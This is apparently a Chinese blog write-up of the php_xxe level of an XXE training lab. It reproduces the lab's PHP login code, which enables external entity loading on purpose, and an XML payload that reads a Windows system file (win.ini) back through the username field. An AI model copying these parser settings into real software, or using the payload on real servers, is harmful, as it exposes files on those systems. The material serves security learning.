xxe

xxe-lab

学习学习

Posted by lll-yz on March 28, 2021

xxe-lab

php_xxe

cCfKRP.md.png

进入php_xxe靶场,可以看到登录框,先随便尝试登录一下:

失败,抓包看看: cChTXT.png

可以看到这是POST方式传递的数据,且POST内容看上去很像XML格式。查看源代码:

<?php
/**
* autor: c0ny1
* date: 2018-2-7
*/

$USERNAME = 'admin'; //账号
$PASSWORD = 'admin'; //密码
$result = null;

libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');//这里没有xml文档所以用的php为协议来获取我们发送的xml文档

try{
	$dom = new DOMDocument();//创建XML对象
	$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);//将我们发送的字符串生成xml文档
	$creds = simplexml_import_dom($dom);//实例化xml文档

	$username = $creds->username;
	$password = $creds->password;

	if($username == $USERNAME && $password == $PASSWORD){
		$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);//必须要有username这个标签,不然找不到username就没有输出了,我们也就不能通过回显来获取信息
	}else{
		$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);//同上
	}	
}catch(Exception $e){
	$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());
}

header('Content-Type: text/html; charset=utf-8');
echo $result;
?>

知道了后台文件构造,我们可以开始构造payload在username中输出了:

<?xml version="1.0"?>
<!DOCTYPE user [
<!ENTITY xxe SYSTEM "file:///C:/windows/win.ini">
]>
<user><username>&xxe;</username><password>abc</password></user>

这里我们构造的payload强制xml解析器去访问系统配置文件。

输出内容:

cCTniQ.md.png